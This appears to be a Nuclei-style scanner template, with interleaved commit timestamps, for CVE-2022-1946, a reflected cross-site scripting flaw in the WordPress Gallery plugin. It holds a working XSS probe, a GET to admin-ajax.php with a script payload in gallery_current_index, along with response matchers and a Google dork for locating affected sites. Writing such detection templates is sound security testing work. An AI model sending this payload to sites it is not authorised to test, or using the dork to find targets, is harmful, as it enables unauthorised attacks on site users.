2022-07-06 10:15:00 +00:00
id : CVE-2022-1946
info :
name : Gallery < 2.0.0 - Reflected Cross-Site Scripting
author : Akincibor
severity : medium
description : The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting issue.
reference :
- https://wpscan.com/vulnerability/0903920c-be2e-4515-901f-87253eb30940
- https://wordpress.org/plugins/gallery-album
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1946
2022-07-08 19:07:55 +00:00
classification :
2022-07-13 09:11:42 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-07-08 19:07:55 +00:00
cve-id : CVE-2022-1946
2022-07-13 09:11:42 +00:00
cwe-id : CWE-79
2022-07-06 10:16:17 +00:00
metadata :
google-dork : inurl:"/wp-content/plugins/gallery-album/"
2022-07-13 09:11:42 +00:00
verified : "true"
2022-08-27 04:41:18 +00:00
tags : wpscan,cve2022,wp,xss,wordpress,gallery,unauth,cve,wp-plugin
2022-07-06 10:15:00 +00:00
requests :
- method : GET
path :
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script>'
matchers-condition : and
matchers :
- type : word
part : body
words :
- 'wpdevar_gall_img_url_h[<script>alert(document.domain)</script>]'
- type : word
part : header
words :
- text/html
- type : status
status :
- 200